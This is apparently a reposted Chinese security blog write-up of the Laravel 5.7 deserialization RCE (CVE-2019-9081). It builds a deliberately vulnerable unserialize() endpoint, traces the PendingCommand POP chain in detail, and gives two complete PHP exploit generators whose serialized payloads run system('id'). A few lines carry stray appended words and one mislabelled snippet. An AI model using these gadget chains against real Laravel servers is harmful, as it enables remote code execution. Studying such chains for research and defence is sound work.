Laravel 5.7 RCE (CVE-2019-9081)

时间 2019-11-17

标签 laravel 5.7 rce cve 繁體版

原文原文链接

Laravel 代码审计php

环境搭建

Laravel 5.7 文档 : https://learnku.com/docs/laravel/5.7/installation/2242laravel
Composer 下载 : wget https://getcomposer.org/download/1.8.6/composer.phar 获取 composer.phargit
参照 https://www.jianshu.com/p/438a95046403 安装 Composer 和 Laravelgithub
composer create-project laravel/laravel laravel57 "5.7.*" 安装 Laravel 5.7 并生成 laravel57 项目web
进入项目文件夹，使用 php artisan serve 启动 web 服务bootstrap

在 laravel57/routes/web.php 文件添加路由数组

Route::get("/","\App\Http\Controllers\DemoController@demo");

在 laravel57/app/Http/Controllers/ 下添加 DemoController 控制器缓存

namespace App\Http\Controllers;

class DemoController
{
    public function demo()
    {
        if(isset($_GET['c'])){
            $code = $_GET['c'];
            unserialize($code);
            return "peri0d";
        }

    }
}

Laravel 项目文件夹结构

app : 包含了应用的核心代码
- Broadcasting : 包含应用程序的全部广播频道类，默认不存在
- Console : 包含了全部自定义的 Artisan 命令
- Events : 存放了事件类。可使用事件来提醒应用其余部分发生了特定的操做，使应用程序更加的灵活和解耦。默认不存在
- Exceptions : 包含了应用的异常处理器，也是应用抛出异常的好地方
- Http : 包含了控制器、中间件和表单请求。几乎全部的进入应用的请求的处理逻辑都被放在这里
- Jobs : 存放了应用中的队列任务。应用的任务能够被推送到队列或者在当前请求的生命周期内同步运行。在当前请求期间同步运行的任务能够看作是一个「命令」，由于它们是命令模式的实现。默认不存在
- Listeners : 包含了用来处理事件的类。事件监听器接收事件实例并执行响应该事件被触发的逻辑。默认不存在
- Mail : 包含应用全部的邮件发送类。默认不存在
- Notifications : 包含应用发送的全部「业务性」通知，好比关于在应用中发生的事件的简单通知。默认不存在
- Policies : 包含了应用的受权策略类。策略能够用来决定一个用户是否有权限去操做指定资源。默认不存在
- Providers : 包含应用的全部服务提供者。服务提供者经过在服务容器中绑定服务、注册事件、以及执行其余任务来为即将到来的请求作准备来启动应用。
- Rules : 包含应用自定义验证规则对象。这些规则意在将复杂的验证逻辑封装在一个简单的对象中。默认不存在
bootstrap : 包含启动框架的 app.php ，还包含 cache 目录，其下存放框架生成的用来提高性能的文件，好比路由和服务缓存文件
config : 包含应用程序全部的配置文件
database : 包含数据填充和迁移文件以及模型工厂类
public : 包含入口文件 index.php，它是进入应用程序的全部请求的入口点。还包含一些资源文件，好比图片、JS 和 CSS
resources : 包含了视图和未编译的资源文件(如 LESS、SASS 或 JavaScript )。此目录还包含全部的语言文件
routes : 包含了应用的全部路由定义
storage : 包含编译后的 Blade 模板、session 会话生成的文件、缓存文件以及框架生成的其余文件
tests : 包含自动化测试文件
vendor : 包含全部的 Composer 依赖包，其中也包含了 Laravel 源码

第一种漏洞分析

漏洞触发点位于 Illuminate/Foundation/Testing/PendingCommand.php 中的 run 方法，该文件的功能就是命令执行并获取输出，PendingCommand.php 又定义了 __destruct() 方法，思路就是构造 payload 触发 __destruct() 方法进而调用 run 方法实现 rcesession

根据已有的 exp 来看，PendingCommand 类的属性以下app

$this->app;         // 一个实例化的类 Illuminate\Foundation\Application
$this->test;        // 一个实例化的类 Illuminate\Auth\GenericUser
$this->command;     // 要执行的php函数 system
$this->parameters;  // 要执行的php函数的参数  array('id')

在 unserialize($code) 处下断点调试，观察调用栈，发现有几个加载函数，spl_autoload_call() 、Illuminate\Foundation\AliasLoader->load() 、Composer\Autoload\ClassLoader->loadClass() 、Composer\Autoload\includeFile() 。

在加载完所须要的类后，会进入 PendingCommand 类的 __destruct() 方法。因为 hasExecuted 默认是 false，因此会去执行 run() 函数，run() 函数会在第 8 行执行命令，其代码以下

public function run()
{
  $this->hasExecuted = true;

    $this->mockConsoleOutput();

    try {
        $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
    } catch (NoMatchingExpectationException $e) {
        if ($e->getMethodName() === 'askQuestion') {
            $this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
        }
        throw $e;
}

run() 中首先执行了 mockConsoleOutput() ，该函数主要功能就是模拟控制台输出，此时又会加载一些所须要的类。代码以下

protected function mockConsoleOutput()
{
    $mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [(new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),]);
    foreach ($this->test->expectedQuestions as $i => $question) {
        $mock->shouldReceive('askQuestion')
            ->once()
            ->ordered()
            ->with(Mockery::on(function ($argument) use ($question) {
                return $argument->getQuestion() == $question[0];
            }))
            ->andReturnUsing(function () use ($question, $i) {
                unset($this->test->expectedQuestions[$i]);
                return $question[1];
            });
    }
    $this->app->bind(OutputStyle::class, function () use ($mock) {
        return $mock;
    });
}

mockConsoleOutput() 中又调用了 createABufferedOutputMock() 。在 createABufferedOutputMock() 函数中，首先调用 mock() 函数，它的做用主要是进行对象模拟。而后进入循环，要遍历 $this->test 类的 expectedOutput 属性，可是在能够实例化的类中不存在这个属性。当访问一个类中不存在的属性时会触发 __get() ，经过去触发 __get() 方法去进一步构造 pop 链。

private function createABufferedOutputMock()
{
    $mock = Mockery::mock(BufferedOutput::class.'[doWrite]')
        ->shouldAllowMockingProtectedMethods()
        ->shouldIgnoreMissing();
    foreach ($this->test->expectedOutput as $i => $output) {
        $mock->shouldReceive('doWrite')
            ->once()
            ->ordered()
            ->with($output, Mockery::any())
            ->andReturnUsing(function () use ($i) {
                unset($this->test->expectedOutput[$i]);
            });
    }
    return $mock;
}

这里选择 Illuminate\Auth\GenericUser，其 __get() 魔术方法以下

public function __get($key)
  {
      return $this->attributes[$key];
  }

此时 $this->test 是咱们传入的 Illuminate\Auth\GenericUser 的实例化对象，则 $this->attributes[$key] 经过反序列化是可控的，所以咱们能够构造$this->attributes键名为expectedOutput的数组。这样一来$this->test->expectedOutput就会返回$this->attributes中键名为expectedOutput的数组
回到 mockConsoleOutput() 中，又进行了一次 for 循环，调用了 $this->test->expectedQuestions ，循环体与 createABufferedOutputMock() 大体相同，因此能够构造 $this->attributes键名为expectedQuestions的数组绕过

而后就能够走出 mockConsoleOutput() 方法，进入命令执行的关键点 $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters); ，这里 Kernel::class 是个固定值，为 Illuminate\Contracts\Console\Kernel ，这里须要搞清楚 $this->app[Kernel::class] ，能够获得以下的函数调用顺序

Container.php:1222, Illuminate\Foundation\Application->offsetGet()

// key = Illuminate\Contracts\Console\Kernel
public function offsetGet($key)
{
    return $this->make($key);
}

Application.php:751, Illuminate\Foundation\Application->make()

// abstract = Illuminate\Contracts\Console\Kernel
public function make($abstract, array $parameters = [])
{
    $abstract = $this->getAlias($abstract);
    if (isset($this->deferredServices[$abstract]) && ! isset($this->instances[$abstract])) {
        $this->loadDeferredProvider($abstract);
    }
    return parent::make($abstract, $parameters);
}

Container.php:609, Illuminate\Foundation\Application->make()

// abstract = Illuminate\Contracts\Console\Kernel
public function make($abstract, array $parameters = [])
{
    return $this->resolve($abstract, $parameters);
}

Container.php:652, Illuminate\Foundation\Application->resolve()

// abstract = Illuminate\Contracts\Console\Kernel
protected function resolve($abstract, $parameters = [])
{
    $abstract = $this->getAlias($abstract);
    $needsContextualBuild = ! empty($parameters) || ! is_null($this->getContextualConcrete($abstract));
    if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
        return $this->instances[$abstract];
    }
    $this->with[] = $parameters;
    $concrete = $this->getConcrete($abstract);
    // concrete = Illuminate\Foundation\Application
    if ($this->isBuildable($concrete, $abstract)) {
        $object = $this->build($concrete);
    } else {
        $object = $this->make($concrete);
    }
    foreach ($this->getExtenders($abstract) as $extender) {
        $object = $extender($object, $this);
    }
    if ($this->isShared($abstract) && ! $needsContextualBuild) {
        $this->instances[$abstract] = $object;
    }
    $this->fireResolvingCallbacks($abstract, $object);
    $this->resolved[$abstract] = true;
    array_pop($this->with);
    return $object;
}

Container.php:697, Illuminate\Foundation\Application->getConcrete()

// abstract = Illuminate\Contracts\Console\Kernel
protected function getConcrete($abstract)
{
    if (! is_null($concrete = $this->getContextualConcrete($abstract))) {
        return $concrete;
    }
    if (isset($this->bindings[$abstract])) {
        return $this->bindings[$abstract]['concrete'];
    }
    return $abstract;
}

在getConcrete（）方法中出了问题，致使能够利用 php 的反射机制实例化任意类。在 getConcrete() 方法中，判断 $this->bindings[$abstract]) 是否存在，若存在则返回 $this->bindings[$abstract]['concrete'] 。bindings 是 Container.php 中 Container 类的属性，所以咱们只须要找到一个继承自 Container 的类，就能够经过反序列化控制 $this->bindings 属性。Illuminate\Foundation\Application 继承自 Container 类。$abstract 为Illuminate\Contracts\Console\Kernel ，只需经过反序列化定义 Illuminate\Foundation\Application 的 $bindings 属性存在键名为 Illuminate\Contracts\Console\Kernel 的二维数组就能进入该分支语句，返回咱们要实例化的类名。在这里返回的是 Illuminate\Foundation\Application 类。

在实例化 Application类 的时候，要知足 isBuildable() 才能够进行 build

protected function isBuildable($concrete, $abstract)
{
    return $concrete === $abstract || $concrete instanceof Closure;
}

此时明显不知足条件，因此接着执行 $object = $this->make($concrete); ，在 make() 函数中成功将 $abstract 从新赋值为 Illuminate\Foundation\Application，从而成功绕过 isBuildable() 函数，进入 $this->build 方法，就能看到使用ReflectionClass反射机制，实例化咱们传入的类。
在返回一个 Illuminate\Foundation\Application 对象以后，exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters); 又调用了 call() 方法，因为 Illuminate\Foundation\Application 没有 call() 方法，因此会调用父类 Illuminate\Container\Container 的 call() 方法。
```
public function call($callback, array $parameters = [], $defaultMethod = null)
{
    return BoundMethod::call($this, $callback, $parameters, $defaultMethod);
}
```

跟进 BoundMethod::call()

public static function call($container, $callback, array $parameters = [], $defaultMethod = null)
{
    if (static::isCallableWithAtSign($callback) || $defaultMethod) {
        return static::callClass($container, $callback, $parameters, $defaultMethod);
    }
    return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) {
        return call_user_func_array(
            $callback, static::getMethodDependencies($container, $callback, $parameters)
        );
    });
}

在 isCallableWithAtSign() 处判断回调函数是否为字符串而且其中含有 @ ，而且 $defaultMethod 默认为 null，很明显不知足条件，进入 callBoundMethod() ，该函数只是判断 $callback 是否为数组。后面的匿名函数直接调用 call_user_func_array() ，而且第一个参数咱们可控，参数值为 system ，第二个参数由 getMethodDependencies() 方法返回。跟进 getMethodDependencies()
```
protected static function getMethodDependencies($container, $callback, array $parameters = [])
{
    $dependencies = [];
    foreach (static::getCallReflector($callback)->getParameters() as $parameter) {
        static::addDependencyForCallParameter($container, $parameter, $parameters, $dependencies);
    }
    return array_merge($dependencies, $parameters);
}
```
getCallReflector() 用于反射获取 $callback 的对象，而后执行 addDependencyForCallParameter() 为 $callback 的对象添加一些参数，最后将咱们传入的 $parameters 数组和 $dependencies 数组合并， $dependencies 数组为空。最后至关于执行了 call_user_func_array('system',array('id'))

exp

<?php
// gadgets.php
namespace Illuminate\Foundation\Testing{
  class PendingCommand{
      protected $command;
      protected $parameters;
      protected $app;
      public $test;

      public function __construct($command, $parameters,$class,$app)
      {
          $this->command = $command;
          $this->parameters = $parameters;
          $this->test=$class;
          $this->app=$app;
      }
  }
}

namespace Illuminate\Auth{
  class GenericUser{
      protected $attributes;
      public function __construct(array $attributes){
          $this->attributes = $attributes;
      }
  }
}

namespace Illuminate\Foundation{
  class Application{
      protected $hasBeenBootstrapped = false;
      protected $bindings;

      public function __construct($bind){
          $this->bindings=$bind;
      }
  }
}
?>

<?php
// chain.php
$genericuser = new Illuminate\Auth\GenericUser(
    array(
        "expectedOutput"=>array("0"=>"1"),
        "expectedQuestions"=>array("0"=>"1")
    )
);
$application = new Illuminate\Foundation\Application(
    array(
        "Illuminate\Contracts\Console\Kernel"=>
        array(
            "concrete"=>"Illuminate\Foundation\Application"
        )
    )
);
$exp = new Illuminate\Foundation\Testing\PendingCommand(
    "system",array('id'),
    $genericuser,
    $application
);

echo urlencode(serialize($exp));
?>

调用栈分析 :

Illuminate\Foundation\Testing\PendingCommand->__destruct()
  $test = Illuminate\Auth\GenericUser
      attributes = array(
          "expectedOutput"=>array("0"=>"1"),
          "expectedQuestions"=>array("0"=>"1")
      )
  $app = Illuminate\Foundation\Application
      array(
          "Illuminate\Contracts\Console\Kernel" => 
          array(
              array("concrete"=>"Illuminate\Foundation\Application")
          )
      )
  $command = "system"
  $parameters = array("id")

Illuminate\Foundation\Testing\PendingCommand->run()
  Illuminate\Foundation\Testing\PendingCommand->mockConsoleOutput()
      Illuminate\Foundation\Testing\PendingCommand->createABufferedOutputMock()
      // 在 foreach 中访问 expectedOutput 属性，可是 GenericUser 类没有这个属性，故而调用 __get() 方法
          Illuminate\Auth\GenericUser->__get()
          // return attributes["expectedOutput"]
          // return array("0"=>"1")
  // 在 foreach 中访问 expectedQuestions 属性，可是 GenericUser 类没有这个属性，故而调用 __get() 方法
      Illuminate\Auth\GenericUser->__get()
      // return attributes["expectedQuestions"]
      // return array("0"=>"1")

// Application 继承了 Container 因此这至关于执行父类的 offsetGet()
Illuminate\Foundation\Application->offsetGet()
  // key : Illuminate\Contracts\Console\Kernel
  Illuminate\Foundation\Application->make()
  // abstract : Illuminate\Contracts\Console\Kernel
  Illuminate\Foundation\Application->make()
  // abstract : Illuminate\Contracts\Console\Kernel
      Illuminate\Foundation\Application->resolve()
      // abstract : Illuminate\Contracts\Console\Kernel
          Illuminate\Foundation\Application->getConcrete()
          // $this->bindings[$abstract]['concrete'] : Illuminate\Foundation\Application

Illuminate\Foundation\Application->call()
  Illuminate\Container\BoundMethod->call()
      Illuminate\Container\BoundMethod->getMethodDependencies()

第二种漏洞分析

一样的，在 PendingCommand 类的 mockConsoleOutput() 函数处，去触发 __get() 方法构造 pop 链，这里选择 Faker\DefaultGenerator 类，其 __get() 方法以下 :
```
public function __construct($default = null)
{
    $this->default = $default;
}
```

一样的方法绕过 mockConsoleOutput() 函数，运行到 $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters); 处。只不过此次的关注点在于 resolve() 函数的 $this->instances[$abstract] 处

// abstract = Illuminate\Contracts\Console\Kernel
protected function resolve($abstract, $parameters = [])
{
    $abstract = $this->getAlias($abstract);
    $needsContextualBuild = ! empty($parameters) || ! is_null($this->getContextualConcrete($abstract));
    if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
        // 在这里返回一个可控的实例化对象
        return $this->instances[$abstract];
    }
    $this->with[] = $parameters;
    $concrete = $this->getConcrete($abstract);
    if ($this->isBuildable($concrete, $abstract)) {
        $object = $this->build($concrete);
    } else {
        $object = $this->make($concrete);
    }
    foreach ($this->getExtenders($abstract) as $extender) {
        $object = $extender($object, $this);
    }
    if ($this->isShared($abstract) && ! $needsContextualBuild) {
        $this->instances[$abstract] = $object;
    }
    $this->fireResolvingCallbacks($abstract, $object);
    $this->resolved[$abstract] = true;
    array_pop($this->with);
    return $object;
}

instances 是 Container.php 中 Container 类的属性。所以咱们只须要找到一个继承自 Container 的类，就能够经过反序列化控制 $this->instances 属性。Illuminate\Foundation\Application 继承自 Container 类。$abstract 为Illuminate\Contracts\Console\Kernel ，只需经过反序列化定义 Illuminate\Foundation\Application 的 $instances 属性存在键名为 Illuminate\Contracts\Console\Kernel 的数组就能返回咱们要实例化的类名。在这里返回的是 Illuminate\Foundation\Application 类。
其他的就和第一种相同了，不一样点在于构造可控实例化对象的方法不一样

exp :

<?php
// gadgets.php
namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        protected $command;
        protected $parameters;
        protected $app;
        public $test;

        public function __construct($command, $parameters,$class,$app)
        {
            $this->command = $command;
            $this->parameters = $parameters;
            $this->test=$class;
            $this->app=$app;
        }
    }
}

namespace Faker{
    class DefaultGenerator{
        protected $default;

        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}

namespace Illuminate\Foundation{
    class Application{
        protected $instances = [];
        public function __construct($instance){
            $this->instances["Illuminate\Contracts\Console\Kernel"] = $instance;
        }
    }
}
?>

<?php
// chain.php
$defaultgenerator = new Faker\DefaultGenerator(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1")));
$app = new Illuminate\Foundation\Application();
$application = new Illuminate\Foundation\Application($app);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand('system', array('id'), $defaultgenerator, $application);

echo urlencode(serialize($pendingcommand));
?>

思考

代码调试的技巧
函数调用栈的分析
可控点的寻找

参考连接

https://xz.aliyun.com/t/5483
https://laworigin.github.io/2019/02/21/laravelv5-7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce/
https://www.jianshu.com/p/438a95046403